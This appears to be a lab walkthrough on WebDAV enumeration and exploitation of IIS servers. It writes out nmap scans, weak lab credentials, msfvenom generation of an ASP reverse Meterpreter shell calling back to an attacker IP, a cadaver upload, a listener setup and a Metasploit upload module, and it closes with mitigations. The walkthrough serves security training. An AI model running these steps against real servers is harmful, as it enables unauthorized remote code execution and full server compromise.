Skip to content

Overview

WebDAV (Web Distributed Authoring and Versioning) is an extension of the HTTP protocol that allows users to upload, modify, and manage files on a remote web server. If WebDAV is misconfigured or weak credentials are used, attackers may gain the ability to upload malicious files and execute commands remotely.

This note explains how WebDAV enumeration and exploitation can be performed using Metasploit and related tools in a controlled lab environment.

What is WebDAV

WebDAV enables remote file management over HTTP.

Common WebDAV capabilities include:

  • Uploading files

  • Editing remote files

  • Moving and deleting files

  • Managing directories

WebDAV is often enabled on Microsoft IIS servers.

Example WebDAV path:

http://10.2.30.233/webdav

Enumeration with Nmap

The first step is identifying whether WebDAV is enabled on the target server.

Example scan:

nmap -sV -p 80 --script=http-enum 10.2.30.233

Explanation

  • -sV detects service versions

  • -p 80 scans HTTP port

  • --script=http-enum enumerates web directories and applications

This scan may reveal directories such as:

/webdav

which indicates that WebDAV is available.

Accessing the WebDAV Directory

The WebDAV directory can be opened in a browser.

Example:

http://10.2.30.233/webdav

The server may request authentication.

Example credentials:

Username: bob
Password: password_123321

Weak or default credentials can allow unauthorized access.

Generating a Payload with msfvenom

A malicious ASP payload can be generated using msfvenom.

Example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.5.2 LPORT=1234 -f asp > shell.asp

Explanation

  • -p windows/meterpreter/reverse_tcp creates a reverse Meterpreter payload

  • LHOST is the attacker IP address

  • LPORT is the listening port

  • -f asp outputs the payload in ASP format

  • shell.asp is the output payload file

The payload will connect back to the attacker's system when executed.

Uploading the Payload with cadaver

cadaver is a command-line WebDAV client.

Connecting to the server:

cadaver http://10.2.30.233/webdav

After authentication:

Username: bob
Password: password_123321

List files:

ls

Example output:

AttackDefense.txt
web.config

Upload the payload:

put /root/shell.asp

Explanation

The malicious ASP file is uploaded into the WebDAV directory where it may later be executed by the IIS server.

Starting Metasploit Listener

Start PostgreSQL and Metasploit:

service postgresql start && msfconsole

Use the multi-handler:

use multi/handler

Set payload:

set payload windows/meterpreter/reverse_tcp

Configure listener settings:

set LHOST 10.10.5.2
set LPORT 1234

Run the listener:

run

Explanation

The listener waits for the reverse connection from the uploaded payload.

The LHOST and LPORT values must match those used during payload generation.

Triggering the Payload

Once the ASP file is executed through the web server, the target system connects back to the listener.

Example session:

Meterpreter session 1 opened

This indicates successful remote code execution.

Post Exploitation Commands

System Information

sysinfo

Example output:

OS : Windows 2016+
Architecture : x64

Current User Privileges

getuid

Example:

Server username: NT AUTHORITY\SYSTEM

This indicates SYSTEM-level privileges.

Searching for WebDAV Exploits in Metasploit

Metasploit contains dedicated WebDAV exploitation modules.

Example:

search iis upload

Example module:

exploit/windows/iis/iis_webdav_upload_asp

Use the module:

use exploit/windows/iis/iis_webdav_upload_asp

Show options:

show options

Set required values:

set HttpUsername bob
set HttpPassword password_123321
set RHOSTS 10.2.30.233
set PATH /webdav/metasploit.asp

Launch exploit:

exploit

Explanation

This Metasploit module automates:

  • Uploading the ASP payload

  • Renaming the file

  • Executing the payload

  • Establishing the Meterpreter session

Important Concepts

Reverse TCP Payload

A reverse TCP payload causes the target machine to initiate the connection back to the attacker system.

Advantages:

  • Bypasses some firewall restrictions

  • Easier session handling

  • Common in penetration testing

Meterpreter

Meterpreter is an advanced Metasploit payload providing:

  • Command execution

  • File management

  • Privilege escalation

  • Process migration

  • System enumeration

IIS and ASP

IIS servers commonly execute .asp files.

If upload permissions are enabled without proper restrictions, attackers may upload executable scripts.

Security Risks of WebDAV

Improperly secured WebDAV can lead to:

  • Remote code execution

  • File upload attacks

  • Unauthorized file access

  • Credential theft

  • Full server compromise

Mitigation Techniques

Disable WebDAV if not required.

Use strong authentication.

Restrict upload permissions.

Prevent execution of uploaded files.

Use firewall rules and network segmentation.

Monitor IIS logs and upload activity.

Apply latest IIS and Windows security patches.

Use endpoint detection and response solutions.

Conclusion

WebDAV can become a serious security risk when combined with weak authentication and insecure IIS configurations. Enumeration tools like Nmap and exploitation frameworks like Metasploit can identify and exploit these weaknesses in lab environments. Proper configuration, monitoring, and access control are essential to secure WebDAV-enabled systems.